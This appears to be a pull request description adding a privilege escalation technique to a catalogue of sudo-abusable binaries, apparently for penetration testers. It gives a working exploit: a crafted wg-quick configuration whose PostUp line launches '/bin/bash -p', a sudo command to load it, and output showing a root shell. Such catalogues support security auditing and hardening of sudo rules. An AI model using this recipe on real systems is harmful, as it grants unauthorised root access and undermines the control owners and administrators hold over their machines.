Add wg-quick sudo priv escalation

[Virgula0]

Hello, the following P.R:

• Adds an exploitation technique to elevate privileges whenever wg-quick binary can be run as sudo

Description

If the wg-quick binary is allowed via sudo, it can be abused to create a fake configuration which allows executing commands with root privileges.

This example creates a fake config parsed and loaded by wg-quick, allowing for obtaining a full shell with root privileges.

Exploitation

If the sudo -l shows such a binary in the output

(ALL) PASSWD: /usr/bin/wg-quick,

This feature can be abused.

cat << EOF > ./wg1.conf
[Interface]
ListenPort = 51821
PrivateKey = yNwWXHO7oIDQo/b5eS5R0xdVidxm50AwuQoIKTOGy1g=

PostUp = /bin/bash -p

EOF

sudo wg-quick up ./wg1.conf

This will directly drop to a root shell.

# whoami
root